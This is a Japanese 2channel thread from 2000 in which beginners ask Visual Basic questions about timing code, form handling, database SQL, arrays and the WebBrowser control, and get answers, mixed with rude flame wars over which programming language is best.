1 :
VB初心者代表 :
2000/09/07(木) 21:07 まとめましょう
2 :
VB初心者代表 :2000/09/07(木) 21:13
まずは超初心者の私から。 オブジェクトの使い方を教えてください。具体的には VBスクリプトでASPを作っていたんですが、その一 部をVBのDLLにすることになったんです。そこで、 ASPの組み込みオブジェクト Session("userid")の ような構文が使えなくなってしまいました。(コンパ イルエラーになります)参照設定はMicrosoft Active Server Pages Object Liblaryにしてあり、オブジェク トブラウザにも表示されるんですが。 上級者の皆様、ぜひお願いします。
お約束ですが、本読んで勉強しましたか? 初心者なら初心者らしいプログラム作ってください!
4 :
名無しさん@お腹いっぱい。 :2000/09/09(土) 14:21
VBの逆コンパイラは何処にあるんですか? 探しても見つかりませんでした。
>4 もっといっしょうけんめいさがしてください さがしかたがたりないだけです
6 :
4 :2000/09/09(土) 22:50
>5 わかりました。夢精するほどのレベルで探してみます。
VBスレっていつもこんな感じで終わって 何もテクニカルな話が出てこないなあ・・・ もう終わってるのか?
8 :
名無しさん@ぎこぎこのり :2000/09/10(日) 04:18
ImmGetCompositionString をなんとかVBで使いたいのですが なんかいい方法は無いでしょうか・・ サポートされないとか出るんです
9 :
四流プログラマー :2000/09/11(月) 09:55
何度も出してすいません。 オフコンのデータをコード上でPCのオラクルに移す方法を教えてください。 (FDで受け渡しする方法以外で)できるなら、必要な機材(ツールも)も教えてください。 環境 PCとオフコンの間は、LANのようなローカル接続です。
10 :
名無しさん@お腹いっぱい。 :2000/09/11(月) 10:45
>9 マジレスする。あんたには無理だ。上司にそう言え。 だがあんまりにも哀れなので、少し書いておく。 まず、PCからオフコンがどのように見えているのかを書け。 見えてないならその時点で無理だ。 多分PCは端末エミュなのだと思うが、そうするとオフコンのOSの オペレーションが分からないとどうにもならん。 そのオフコンのマニュアルを手に入れろ。これも無理だろうが。 オフコンの開発連中はOSやハードの知識がほとんどない。 運用部門が別にあるからな。だから聞いても無駄だ。 (このあたりは個人的な知識なので実情は知らん。まわりのCOBOLerはそうだった) 次にそのオフコンの文字コードをShift-jisに変換できるかどうか。 普通は端末エミュの機能としてあるか、ソフトが売っている。 無論ソフトはメーカー製でばかみたいな値段をつける。 ようするに、Winのファイルに落とした後でないとあんたの出番はない。 固定長のファイルが得られたら、あとはVBでもなんでもつかえ。 いくらなんでもSQLぐらいは知ってるんだろ? もし少しでもこの書き込みが役に立ってありがたいと思うなら、 よそのスレで書き込むのはもうやめろ。 そして、もう少し細かい状況を書け。 このスレとは関係ないが、このスレも半分終わってるから勘弁してやってほしい。 一番よいと思うことを再度書く。 あんたには無理だ。上司にそう言え。 言ったら忘れずに「上司に言いました」と書き込めよ。
11 :
ビル・ジョブス :2000/09/11(月) 12:00
>9 電源は入ってますか?じゃなくてオフコンメーカーに ちゃんと相談しましたか?えっ、保守入ってないから 聞いてくれないって?だったらメーカーのHPから質問 しましょう!なにかミドルウェアあれば直接オフコン からSQLで表ごと抜けるかも? オフコン側のユーティリティーを作るのは無理だから 無かったらFDでシコシコ抜くしかないな。 以上、逝ってよし。
13 :
abu :2000/09/11(月) 12:36
質問です。 @サーバ(unix) Aクライアント(Win95/DOS) @から指示を出し、Aに有るバッチをA上で実行したいのです。 NTや、unixなら、rshや、rexecがあるので、これを利用すれば、と思ったのですが WIN95ではrsh.exe、rexec.exeは無いようです。 ソケットを扱えばどうにかなるらしいのですが、、、 どなたか良い方法を教えていただけないでしょうか? 又、どこか参考になるLINKを教えていただけないでしょうか?
14 :
abu :2000/09/11(月) 12:37
すみません、 @クライアント Aサーバ です。
>>13 >ソケットを扱えばどうにかなるらしいのですが、、、
その通りです。以上
telnetしてください。
17 :
>13 :2000/09/11(月) 13:03
昔、NetWareLiteをやっと入れた時に、 program.BAT ファイルがあればそれを実行して実行後削除する というバッチを無限ループで走らせておいて 別のパソコンから program.BATを作るというような仕掛けで 時間のかかるコンパイルをさせたりしてた。
>12 おれは人を騙すより、騙されたほうがいい... ちょっと無理か...
19 :
四流プログラマー :2000/09/11(月) 13:16
10サン レスありがとうございます。 上司は三日前から、連絡途絶状態のため、報告ができません。
20 :
名無しさん@お腹いっぱい。 :2000/09/11(月) 14:10
>19 詳しく書けといっただろ。 連絡ぐらい何とかしろ。遊んでるんじゃないんだろ。 それともネタなのか? やっぱりネタなんだな? 今後も同じようなわけ分からん書き込みするんだったら じゃまだからとっとと消えてくれ。たのむ。
>>20 貴方の貴重な時間をこんなタコスケにかけるのは勿体無い。
もう相手をしないほうがいい。
ドキュンは次の一行を読んだら、前の行に書いてあった事を忘れるんだ。
>言ったら忘れずに「上司に言いました」と書き込めよ。
に答えただけさ。
22 :
名無しさん@お腹いっぱい。 :2000/09/11(月) 14:22
プログラムの実行速度を量る場合, Dim lngTime1 As Long Dim lngTime2 As Long lngTime1 = timeGettime() For i =1 To 10000 ・・・・・・・・・・ Next lngTime2 = timeGettime() MsgBox lngTime2 - lngTime1 としているんですが,まだ正確に測定できる方法はあるでしょうか?
23 :
>22 :2000/09/11(月) 15:50
QueryPerformanceCounter で得た値をQueryPerformanceFrequencyで割ればいいけど さあVBで出来るかなあ? というか、キャッシュの内容によって違って来るから正確になんて意味ないよ
24 :
>22 :2000/09/11(月) 16:05
timeGettime()のオーバヘッドを計測しといて削る Dim lngTime3 As Long Dim lngTime4 As Long lngTime3 = timeGettime() lngTime4 = timeGettime() または1:1回ループさせたときと、10000回ループさせたときの差から計測 または2: For i=1 To 10000 hoge ←最適化回避の命令 hoga ←測定したい処理 Next と For i=1 To 10000 hoge ←最適化回避の命令 Next の差から計測
25 :
22 :2000/09/11(月) 17:32
>23 ありがとうございました。できました。 Dim lpperformancecount As LARGE_INTEGER Dim lpfrequency As LARGE_INTEGER Call QueryPerformanceCounter(lpperformancecount) Call QueryPerformanceFrequency(lpfrequency) lngTime1 = lpperformancecount.lowpart Call Sleep(10秒眠れ) Call QueryPerformanceCounter(lpperformancecount) Call QueryPerformanceFrequency(lpfrequency) lngTime2 = lpperformancecount.lowpart MsgBox (lngTime2 - lngTime1) / lpfrequency.lowpart で10秒近い値が出たのであっていると思うのですが。
26 :
22 :2000/09/11(月) 17:33
ただ、APIを使う為に標準モジュールに書いた構造体 Public Type LARGE_INTEGER lowpart As Long highpart As Long End Type のhighpartのほうが何を意味しているのかわからないです。 >24 今夜か明日にでも挑戦してみます。 昨日VB6を買ってきて勉強し始めたのですが,最適化回避のしかたとかなんとかは,入門書に載ってないので,この頭で理解するのに少し時間が必要のようです
>Call Sleep(10秒眠れ) Now関数工夫すれば同じく眠れるぞ。 あまりAPIに頼るとVBのレベルも上がらなくなることを逝っておく。
28 :
>27 :2000/09/11(月) 17:52
29 :
abu :2000/09/11(月) 19:19
>16 telnetは対人間用仕様なので、コマンドの指示はかなり不向きだというのを どこかで見ました。SHELLポートをたたけば、サーバ側でrshdが立ち上がって、 というところで挫折中です。(これも当たっているやら) >15 WIN95ではだめなのでは?と、動くかどうかすら分からないオタコ状態なものだったので、 希望が持てました。ソケットを使用すればどうにかなるらしいのでがむばります。 参考になるLINKありましたら引き続きお教えください。
30 :
>>26 :2000/09/11(月) 19:44
上位にデータがあったら実数にしてから2^32倍して加算の事
31 :
>abu :2000/09/11(月) 19:47
win95にtelnetdあったっけ? とにかく何か走らせんと駄目でしょう?
だったら
>>17 の方法でいいんじゃないの?
32 :
>31 :2000/09/11(月) 21:19
33 :
abu :2000/09/12(火) 00:02
>31、32 サーバ:unix クライアント:win95 です。デーモンはunix側です。 (ぐーー私が理解出来てないのでしょうか?) あと、17の方法結構良いとおもいます。早速検討させていただきます。 てっきり他の方へのレスだと思い込んでました。 ありがとうございます。
static変数の初期化はどうすればいいんでせうか? マジ初心者の質問ですまん。
VBってうんこ
36 :
>33 :2000/09/12(火) 09:42
>>14 は
>@サーバ(unix)
>Aクライアント(Win95/DOS)
>@から指示を出し、Aに有るバッチをA上で実行したいのです。
ってあるけど、 という事はWin95からunixアプリを操作させたいのね?
>>15 で訂正入ってるけど余計判らんぞ
>>33 セキュリティを無視していいみたいなのでサーバ上でWebサーバを
立ち上げてCGIでコマンド実行させれば、telnetをしゃべるより楽だよ
38 :
名無しさん@お腹いっぱい。 :2000/09/12(火) 13:09
VBで物足りなくなってくる人はちゃんとオブジェクト指向に向かいます。 何も知らないまま、CナントカやJナントカ使ってオブジェクト指向気取り してる人より将来性は有りますよ。
40 :
名無しさん@お腹いっぱい。 :2000/09/12(火) 19:17
strHoge(0) = txtHoge(0).text strHoge(1) = txtHoge(1).text strHoge(2) = txtHoge(2).text などの処理は,配列が何個くらいから For〜NEXT使った方がいいのでしょうか? 少ない回数位なら上記でかまわないと個人的には思うんですけど,配列何個くらいから,FOR〜NEXTの方が処理速度が優勢になるんでしょうか?
41 :
>40 :2000/09/12(火) 19:59
For〜Nextループが、ループの展開より速度的に優位になることはありえません。 ところで、定数回数のループだよね?(可変回数のループは展開できないし)
42 :
41>40 :2000/09/12(火) 20:01
で、Forループに移行するタイミング。 記述が面倒になったら。(藁
43 :
名無しさん@お腹いっぱい。 :2000/09/12(火) 20:08
スーパーコンピューターみたいにベクトル演算出来るハードなら ループの方が速いんじゃなかったっけ?
44 :
名無しさん@お腹いっぱい。 :2000/09/12(火) 21:11
>>42 俺もそうしてる
端数ループ、定数回ループ、端数回ループとやるのが基本
45 :
44 :2000/09/12(火) 21:17
定数回ループ->定数回の展開を行った処理のループ
46 :
abu :2000/09/12(火) 21:18
>36 はは、本当だ。とても分かりづらい。上手く書けてなくてすみません。 >37 はい。セキュリティは無視できます。 CGIも考えたのですが、webサーバが無く、又、サーバーの内部構成を変えたくないとの事した。
47 :
名無しさん@お腹いっぱい。 :2000/09/20(水) 17:47
VBからNetDDを使いたいのですが、.LinkTopic にどんな値を入れるのかわかりません・・・
48 :
名無しさん@お腹いっぱい。 :2000/09/20(水) 17:47
NetDDEでした(汗
49 :
名無しさん@お腹いっぱい。 :2000/10/06(金) 13:18
タイトルに飾りがついているスレはあげたくないのだが、質問スレが立つ前に。
Cの関数をスタティックリンク出来ませんか。
51 :
名無しさん@お腹いっぱい。 :2000/10/14(土) 00:23
MaskeditとMonthviewにNull突っ込むとエラーが起きますが データベースと連結して使用するとき皆さんはどうしてますか? Nullを使用しないといけないときは使用しませんか? でも同様にTextboxも弾かれるんですけど Nullは使うなってことなのかな? でもNullが無いと困りませんかね
52 :
マジレス :2000/10/16(月) 05:05
ダイアルアップソフトのつくり方わかるプログラマ−の人いますか? @ISDN回線の2回線をパソコンの画面で制御できる。 ATAのリダイアル規制をはずして1分間に50回以上リダイアルできる B1つの番号が混んでいたら他の予備に登録した番号をどんどんかけていく。 Cつながったら、電話機で話ができる このようなプログラムがわかる人いますか? わかる人がいたら教えてください
53 :
名無しさん@お腹いっぱい。 :2000/10/20(金) 01:03
この間からVBを始めたばっかりの者です。 ボタンを押したらそのフォームを閉じて別のフォームを画面上に開くようにしたいのですが、 どのようなコードを書けば良いでしょう。 dim なんとかだとタスクバーに入って不便です。
スタートアップをフォームでなくSub Mainにすればよろし。 #MainなのにSubとはこれいかに。
55 :
53 :2000/10/20(金) 05:35
ありがとうございます。さっそくやってみます。
56 :
名無しさん@お腹いっぱい。 :2000/10/20(金) 05:56
>53 sub command1_click() form2.show unload me end sub でだめ?
57 :
53 :2000/10/20(金) 06:14
あ、できました! ありがとうございます。これで問題解決です! 感謝!
'MAIN.BAS PUBLIC G_GAMEN_ID AS STRING PUBLIC SUB MAIN SELECT CASE GAMEN_ID CASE "GAMEN01" FORM1.SHOW CASE "GAMEN02" FORM2.SHOW END SELECT END SUB 'FORM1.FRM SUB COMMAND1_CLICK() G_GAMEN_ID = "GAMEN02" ME.HIDE END SUB
初期化とループするの忘れた・・・
60 :
名無しさん@お腹いっぱい。 :2000/10/20(金) 20:43
中級者(のつもり)なんだけどVBでRealPlayerのActiveX使って オリジナルのプレイヤーを作る方法がわかりません。 どっかに情報があるらしいけど みつからない・・・ サンプルプログラムのソース、知りませんか
61 :
名無しさん@お腹いっぱい。 :2000/10/21(土) 15:11
ちうきうしゃはしょしんしゃすれにくんな
VBってうんこ
うんこってVB
べリーびューティホー
65 :
魁!名無しさん :2000/10/23(月) 03:03
同じグループ内で別のプロジェクトのフォームを開くにはどうしたら良いでしょうか?
うんこをバカにするな!
67 :
名無しさん@お腹いっぱい。 :2000/10/25(水) 14:02
VBでのコーディング方法についての質問。 ・条件Aが真の時、かつ条件Bが真の時には、処理Xを行う。 ・それ以外の条件の時は、処理Yを行う。 ・どちらの場合も、そのあと処理Zを行う。 ・どの処理も関数化が困難である。 (大量のプロシージャ内のスコープを持つ変数を使用するなど) ・但し条件Bは条件Aが真の場合のみ評価できる。 (If 条件A And 条件B Then →例外が発生する) どのような構造でコーディングするのが最も良いと思いますか? 処理X、処理Yともに数行のコーディングの場合は? 処理X、処理Yともに数十行のコーディングの場合は? 処理X、処理Yともに数百行のコーディングの場合は? 参考1)−−−−−−−−−−−−−−− If 条件A Then If 条件B Then 処理X Else 処理Y End If Else 処理Y End If 処理Z 参考2)−−−−−−−−−−−−−−− Dim blnX As Boolean blnX = False If 条件A Then If 条件B Then blnX = True End If End If If blnX Then 処理X Else 処理Y End If 処理Z 参考3)−−−−−−−−−−−−−−− If 条件A Then If 条件B Then Goto X_P End If End If 処理Y Goto Exit_P X_P: 処理X Exit_P: 処理Z 参考4)−−−−−−−−−−−−−−− If 条件A Then If 条件B Then Gosub X_SUB Else Gosub Y_SUB End If Else Gosub Y_SUB End If 処理Z ---------------Exit X_SUB: 処理X Return Y_SUB: 処理Y Return
68 :
名無しさん@お腹いっぱい。 :2000/10/25(水) 15:22
RubyとVBはどちらが上ですか?
69 :
゜Д゜メ :2000/10/25(水) 15:27
VBは鼻クソ。
70 :
>68 :2000/10/25(水) 15:36
Rubyの方が格段に上。
71 :
名無しさん@お腹いっぱい。 :2000/10/25(水) 16:29
Ruby>>>>PHP>>>>>>>>>>>>>>>>>Perl>>>VB
>>71 それは誇張のしすぎです。
言語仕様的に、Ruby>Python>Perl>PHP
VBは圏外。
73 :
>72 :2000/10/25(水) 17:56
同感。
74 :
>72 :2000/10/25(水) 18:08
それはそうだが開発環境も加味すると RubyよりVBのがまだましって気がする。 mule+gdb+いろいろがVisual Studioより 開発しやすいとはとても思えないんだけど。 早くKylixでないかな。
75 :
>69 :2000/10/25(水) 18:10
鼻クソの方が格段に上。
76 :
>74 :2000/10/25(水) 18:16
煽りはやめてね♪
77 :
76 :2000/10/25(水) 18:17
>75でした。ぺこり。
Perl>VB なんもいいがこれは納得できん。 PerlがVBに勝てるとこを逝ってくれ。
なんでもいいが、VBが他の言語に勝てるとこを逝ってくれ。
初心者相手に儲けられるとこ。 プログラマー人口が多いので取りあえず人がかき集められる とこ。<ほとんど初心者の域を出ない者ばかりだが
81 :
>79 :2000/10/25(水) 22:44
同感。
82 :
名無しさん@お腹いっぱい。 :2000/10/25(水) 22:49
RubyはVBに比べてどこが優れているのですか? CGIぐらいしかまともに作れないRubyに比べて、VBはちゃんとした アプリケーションを作れますよ。
83 :
名無しさん@お腹いっぱい。 :2000/10/25(水) 23:26
>VBはちゃんとしたアプリケーションを作れますよ。  ̄ ̄ ̄ ̄ ̄ ̄ 意義有り。
意義なし。 VBは作れる、が作れないVB厨房が多すぎるだけである。
異議だ‥スマソ
86 :
>85 :2000/10/26(木) 00:02
いや、意義なしでちゃんと通じたよ。
「Rubyにくらべて」というなら異議有り。
>>82 開発環境とWindowsGUIアプリの作りやすさはVBがはるかに上です。
で、ちゃんとしたアプリが作れるかは製作者によります。
何がちゃんとしているかは知りませんが。
まあ、VBとRubyでは開発対象とするソフトウェアの性質が違いますね。
>VBとRubyでは開発対象とするソフトウェアの性質が違いますね。 それいっちゃあ、VCもDelphiも存在意義が違うから秤にかけれないってことになっちゃうよ >ちゃんとしたアプリが作れるかは製作者によります 製作者が成長しにくい言語のような気がする。 普通にwinアプリの基本を知っていて欲しい、文法なんて知らんでいいから。
>87 Rubyとくらべてみよう。 A.VBは作れる、が作れないVB厨房が多すぎるだけである。 B.Rubyは作れる、が作れないRuby厨房が多すぎるだけである。 Aに異議アリか?
>90 を? A.だけ取り出して、Rubyと比べてるって? ううむ、おれは日本語が苦手なようだ…
VBってうんこ
93 :
名無しさん@お腹いっぱい。 :2000/10/26(木) 11:51
ランタイムが邪魔なんじゃボケ
VBは好きだがランタイムはウザイね。 アレが無きゃいい言語だと思う。
それは動かないからいいということか?
96 :
名無しさん@お腹いっぱい。 :2000/10/27(金) 11:01
VBでPingを撃つプログラムのサンプルってどこかにないですかねぇ・・・ なんだかさっぱりわからないもんで どなたかよろしくお願いいたします
>>96 住所、氏名、年齢、性別、電話番号をここに書いたら、教えなくない。
ってゆーか、市んで。
99 :
月刊能力不足 :2000/10/27(金) 13:17
メモリが少ない組込み用Cプログラムで、 Cプログラムのスパゲティー化を防ぐには、 どうしたよいでしょうか?
100 :
99 :2000/10/27(金) 13:18
まちがった。スマソ
101 :
初心者代表 :2000/10/27(金) 16:35
ACCESSで作成したMDBファイルをDBグリッドを使って表示させたいのですが、 --- (hoge.mdb) テーブル名:Tbl_Syurui(商品のジャンル) フィールド:syurui_code(オートナンバー) , syurui_mei(名称) テーブル名:Tbl_Syouhin(商品) フィールド:syouhin_code(オートナンバー) , syouhin_mei(名称) , syurui_code ----- ・データコントロール(dtaSyurui,dtaSyouhin) ・DBグリッド(dbgSyurui,dbgSyouhin) ----- ※dbgSyuruiから目的のジャンルを選択すると、dbgSyouhinに該当の商品が表示 ----- Private Sub Form_Load() dtaSyurui.RecordSource = "SELECT syurui_code, syurui_mei FROM Tbl_syurui ORDER BY syurui_mei" End Sub Private Sub dtaSyurui_RowColChange(LastRow As Variant, ByVal LastCol As Integer) Dim strSyuruiCode As String '種類名のコード番号を取得して代入 strSyuruiCode = Str(dtaSyurui.Recordset("syurui_code")) 'データコントロールのRecordSourceプロパティにSQL文を設定 dtaSyouhin.RecordSource = "SELECT syouhin_code , syouhin_mei , syurui_code FROM Tbl_syouhin WHERE syurui_code = " + strSyuruiCode + " ORDER BY syouhin_mei" 'リフレッシュ dtaSyouhin.Refresh End Sub で、dtaSyouhin.Refreshの段階で"パラメータが少なすぎます。1を指定してください。"と怒られます。 どこで勘違いをしているのでしょうか?
なんか最近VBと何々を比較って煽り多いな。 恥ずかしい。 VBがM$から離れてラショナルとかから 出ればマシになるやも。M$以外だったらマルチプラットホーム の可能性も出てくるし。ヘジルスバーグも思ってるだろうな・・・「現VBってうんこ・・・・・・・・」
>>101 SQLをRECORDSOURCEに入れる前に文字列変数にでも入れて
メッセージダイアログで確認せい!
ってゆーかいくらVBがまだON ERROR GOTOしかないからって
エラーハンドラぐらい書けい!
104 :
名無しさん@お腹いっぱい。 :2000/10/28(土) 23:56
うんこなPG書くには丁度いいんですよ、これが。
>>104 まともなこと書いてからあげろ。
そんなクソレス書いても誰もレスつけられん。
ごめんよ それで飯食ってる奴もいるって事を言いたかっただけさね。
ウンコでメシ食うなよ‥
う〜ん、そんな事いわれてもなぁ ウンコでも飯が食えればいいんだよ 多分・・・
箸で食え
110 :
名無しさん@お腹いっぱい。 :2000/10/30(月) 19:49
今、VBでインターネットエクスプローラーを作ろうと思っているんですが、テキストから色の抽出はできたものの、場合によって異なる表の数などどうすればよいのか。 テキストボックスを20個ぐらい用意してそれぞれ背景色等を設定するなどした場合、IE5ほどの機能まで到達できるのか?
111 :
名無しさん@お腹いっぱい。 :2000/10/30(月) 20:12
>>110 Internet ExplorerはMicrosoftの登録商標です
112 :
名無しさん@お腹いっぱい。 :2000/10/30(月) 20:25
ばかもの VBごとき低劣なソフトをだすな 俺は国津慎吾だ ばかもの
>>110 いみふめ。IEのコンポーネント張り付けりゃいいじゃん。
あんたのほうがいみふめ。
>>114 はあ? 自分でブラウザそのもの作るなんて事するより、IEのコンポーネント
流用しちまった方が楽やん。
いや、俺は自分でブラウザ作りたいんだという場合でも、110みたいな事
やってたら永久にできんだろ。
たしかにそうなんだけどさ。標準コントロールだけで作りたいのさ。アハ
117 :
114 :2000/10/30(月) 22:39
>115 きっと一生かけてやるんだろ。(藁
118 :
名無しさんi486 :2000/10/31(火) 00:37
dataコントロールを使ってExcelにリンクさせたいのですが、うまくいきません。 conect= Excel 8.0; DatabaseName=C:\Book1.xls んで RecordSourceにSheet1$が出ず、組み込み可能ではないといわれます。 win98se vb6proSP3 Excel2000
>>110 lynxのソース読んで出直してこい。ネスケでもいいよ。
あ、VB使いが読めるわけねーか。すまそ。
120 :
名無しさん@お腹いっぱい。 :2000/10/31(火) 13:26
>>119 どのみち、lynxはぜったい参考にならんぞ。
VBは使いやすい。言語としても、開発環境としても。 RADツールの先駆けとなったのも確か。 簡単な言語は習得時間が短くバグも作りこみにくい。 VBをMSの製品だからという先入観で不当に低く評価するのはどうか。 また言うまでも無いことだが、難しい言語を扱えるからと言って その人間が優秀とは限らない。119のような者はそれ以前に 人間性に問題がある。
バカにされてるのは「VB」ではなくて「VB使い」。 それを読み取れないのも「VB使い」の特徴。
VBはとっつきやすい。言語としても、開発環境としても。 RADツールの先駆けとなったのも確か。 簡単そうに見える言語は習得したような気分になる時間が短くバグに気づきにくい。 VBをMSの製品だからという先入観で不当に高く評価するのはどうか。
面白くなりそう〜
>難しい言語を扱えるからと言って >その人間が優秀とは限らない。 プログラマとしての能力を 簡単な言語「しか」扱えない人と比べたら、ねぇ。
バカにされているのは「それを読み取れないVB使い」。 すべてのVB使いがバカにされているわけではない。
プログラマとしての能力が高いからと言って 社会人としての能力が高いとは限らない。 2ちゃんに書き込んでる者はそれ以前に 人間性に問題がある。
129 :
名無しさん@お腹いっぱい。 :2000/10/31(火) 16:15
オートオマエモナー
130 :
名無しさん@お腹いっぱい。 :2000/10/31(火) 16:16
つーことは、128は 人間性に問題があって、プログラマとしての能力も低いわけだ。
それにプログラマは 臭くて、ヲタク、女に嫌われる。 臭さを競ってどうするの?(プ
だからDelphiにしろって言ってんだろ。 おまえら本当に低能ぞろいだな。
130には完敗です。
VB使いの過半数は残りのVB使いより人数が多い。
臭さではCOBOLに負けるな。
すっぱい臭いはVBが勝ちです。
VBに負けるからって突っ込むなよ。 VBが花形で栄華を誇ってるからって。 C++みたいな既にドライバ作りしかない言語と。 Delphiみないな花形VBのコンポーネント作りしかない裏方言語とは違うんだよ。 時代はJavaとC#とVBです。 早く勉強しろよ。(プ
138は無知決定!
さては138も動物園ファンだな
もう一捻りしてVJ++を推して欲しかった。
VBはマイクロソフト以外からは出ないんですか? 競争が起こればもっとよくなると思うんですけど
現在連続sage記録更新中です
sage加担
119だが、おまえら面白すぎ。 sage加担++
VB使いは概ねどの会社でもバカにされされてるに一票!
このまま消えるのかな?
遅レスで申し訳ないが、
>>120 >lynxはぜったい参考にならんぞ。
なんで?
>149 lynx使ったことアル?
>>144 もっぱらC++Builderを使っている。
たまにVC、VB。
アンチVBではない。
C++はSTL含めてパズルみたいで面白いのだが
果たして実務的な言語として、この煩雑さは
どうなんだろうかと思うことがある。
かと言ってJavaはいまいち実用性に欠けるので
C#の登場は必然ではないか。
153 :
名無しさん@お腹いっぱい。 :2000/11/02(木) 12:54
例えば、Form_Load時に ----- 1.初期設定 2.レジストリ、又は設定ファイルからの読み込み 3.(2)での値によって処理を分岐 4.Form_Loadの処理終了 ----- という過程があった場合、 ----- Private Sub Form_Load() (1)の処理 (2)の処理 (3)の処理 End Sub ----- をだらだらと書くのと ----- Private Sub Form_Load() call (1)の処理 call (2)の処理 call (3)の処理 End Sub ----- というように、書くのとでは、一般的にどっちがいのでしょうか? それと、仕様書工房というソフトの体験版が手元にあるんですけど、このソフトで生成されたものを見本にしても大丈夫でしょうか?
関数は小さく、言語に関係無く常識です。
いきなり「例えば」って、これは質問なのか? …それとも独り言か?危険なやつだな。 質問だとすると、答えは「どっちでもいい、おまえの好きにしろ」と、 「まず仕様書工房のメーカー(不治痛か?)に聞け!」だよ。 忠告だが、こういう類の物は回りに使ってる奴が一人もいないなら、 やめといたほうがいいな。(藁 どうでも良いけどサゲロ。
156 :
名無しさん@お腹いっぱい。 :2000/11/10(金) 23:50
ActiveXってどう思う? 扱いが面倒だけど。
157 :
名無しさん@お腹いっぱい。 :2000/11/11(土) 01:14
nu-
158 :
☆ :2000/11/13(月) 13:34
チャットでの自動送信のスクリプト教えて下さい 東風でしゃべりながら打つと負けてしまいます
159 :
名無しさん@お腹いっぱい。 :2000/11/13(月) 16:36
VBがうんこなら どの言語がうんこじゃないんですか?
>>158 それを使えば、荒らすことも可能なのねん♪
だから、教えてあげないのねん♪
それから、それから、馬鹿は死んでなのねん♪
>>158 そうじゃなくて、必要なのは自動でマージャンやるプログラムだろ?
きみはただ喋っていれば良いのだ。
163 :
とんぷうべてらん :2000/11/13(月) 23:34
5秒以内の連続送信はできないようになっています
164 :
名無しさん@お腹いっぱい。 :2000/11/14(火) 16:02
一般的に、レイトバインディングとアーリーバインディングは、どちらを使っていったほうがいいでしょうか?
165 :
♪ :2000/11/14(火) 16:08
167 :
名無しさん@お腹いっぱい。 :2000/11/17(金) 15:08
アセンブラでGO!
>>164 一般的には宿題は朝のすずしいうちにやると良い
169 :
名無しさん@お腹いっぱい。 :2000/11/19(日) 18:00
初めまして。 関数の戻り値へ配列を格納したいのですが、できません。 例を書くと、 Private Sub Command1_Click() Dim i as Integer '欲しい乱数の個数 i =2 //わからない場所1 End Sub Private Function RndFnc(i As Integer) As Single Dim sngA() As single ReDim sngA(i) '//欲しい乱数の個数だけ配列を作る Dim x As Integer '欲しい数だけ乱数を作って配列へ格納 For x = 0 To i Step 1 sngA(x) = Rnd() Next //わからない場所2 End Function //わからない場所1で、関数を呼び出して受け取る時に、 Dim sngRet(2) As Single sngRet() = RndFnc(i) と書いてみたのですが駄目でした。 //わからない場所2で、関数の戻り値に配列を格納する方法がわかりません。 どこがおかしいのでしょうか?
170 :
名無しさんi486 :2000/11/19(日) 18:27
sngRet() = RndFnc(i) これは出来ないね。たぶん。 動的配列はスタブの関数内で変更できないから。 特にこだわりがないのなら素直に引数にしたら? Private Sub Command1_Click() Dim sngA() As Single Call RndFnc(1, sngA) End Sub Private Function RndFnc(i As Integer, sngA() As Single) As Boolean ReDim sngA(i) '//欲しい乱数の個数だけ配列を作る Dim x As Integer '欲しい数だけ乱数を作って配列へ格納 For x = 0 To i Step 1 sngA(x) = Rnd() Next End Function
172 :
名無しさん@お腹いっぱい。 :2000/11/21(火) 22:41
VBのラーニングエディションではシェアウエアは作れないのでしょうか? たしかプロフェッショナル以上じゃないと作れないと聞いた事があるのですが お願いします。(趣味程度で、シェアウエア作るのが目的で、 職業にしようとかいうわけではありません)
>>172 ドキュメントも読まずそんなことを聞く人間がまともなソフトを作れようはずもないので
シェアウエアにしたときの心配など無用です
174 :
MS信者 :2000/11/22(水) 04:58
はじめまして。まず、自己紹介から、私は以下のような人間です。 「ヴィジュアルベーシックを使っていると マイクロソフトの独裁もいいかなぁぁと思うことがあります。」 それでは、質問させていただきます。一つのフォーム内でブラウザを制御して、 次のことをしたいのですが、よく分かりません。教えてください。お願いします。 1.新しいウィンドウを強制的に現在のウィンドウ(WebBrowserコントロール内)で開く。 2.WebBrowserのナビゲートと同時に、ソースの表示も更新する(ソースを表示するプログラムはできてます)。
175 :
MS信者 :2000/11/24(金) 04:33
Private Sub WebBrowser_NewWindow(うんぬん・・・) Processed = False としても新しいウィンドウがIE本体で開いてしまうのですが、どうしたらよいですか? また、ブラウザコントロール内でハイパーリンクをクリックしたとき、 そのハイパーリンクの文字列はどこに格納されているのでしょうか? 教えてください。お願いします。
176 :
名無し娘。 :2000/11/24(金) 05:01
VBのMEという命令、オブジェクトについて教えてください
177 :
MS信者 :2000/11/24(金) 05:20
ちなみに、ソース表示プログラムを実行したついでに、URLを ブラウザに渡すことは、可能です。しかし、その逆がむつかしいのです。 ただ、知識が足りないだけでしょうか?ほんのちょっとしたことで できるなら、誰か教えてください。お願いします。
178 :
>176 :2000/11/24(金) 11:41
わからないのはどこですか? meは他言語での self this と同じ趣のオブジェクト変数ですね
ME = ミレニアムエディション× ME = ピンクレディーの声の高い方×
180 :
子猫 :2000/11/24(金) 15:21
拡張子が、dbfのファイルをVBから操作したいんです。 たとえば、mdbファイルならDAOで参照できるじゃないですか? 確かにdbfファイルをアクセスに取り込んでから、DAOで参照すればいいじゃない とは思うんですが、それだとインポートの手間がかかるため 何とかできないかなって思いました。 あーdbfって主流なの? えっと同じ質問をプログラム版で出して怒られちゃいました。 で、こちらに質問来ました。よろしく御願いします。
181 :
名無しさん@お腹いっぱい。 :2000/11/24(金) 17:04
>>180 拡張子 dbf って、そりゃdBASEVかdBASEWのデータファイル?
もしそうなら dBASE を起動して
use ****.dbf
copy to ****.dbf type csv
または
copy to ****.dbf type sdf
で書き出しなされ。
dBASE のファイルはインデックスとデータが混じってるから
dBASE 自体で export しないと難しいのでは?
182 :
子猫 :2000/11/24(金) 22:59
>181 そうです!そのdBASEVのファイルなんです。。。 何でいまどきこんなファイルを。。。愚痴・。。。 レスありがとうございます。早速試してみます。 ありがとうございました。
183 :
名無しさん@お腹いっぱい。 :2000/11/24(金) 23:05
知り合いが、「VBでDirectXを触るのは死んでもやめたほうがいい」と言っていたんですが、どのようなところが悪いのでしょうか?
184 :
名無し娘。 :2000/11/25(土) 00:50
>178-179さん Me がなにかを調べたんですけど、私の持っている本には載っていませんでした。 本には Me.Show Me.Refresh が使われています。 Me.*** は他に何があるか、どんなことができるか知りたいです。
186 :
名無しさん@お腹いっぱい。 :2000/11/25(土) 02:27
GradientFill SetLayeredWindowAttributes などのAPIが,APIビュアーで見当たらないのですか、APIビュアのファイルの最新版とかは、MSのサイトで配布していないんでしょうか?
187 :
183 :2000/11/25(土) 02:43
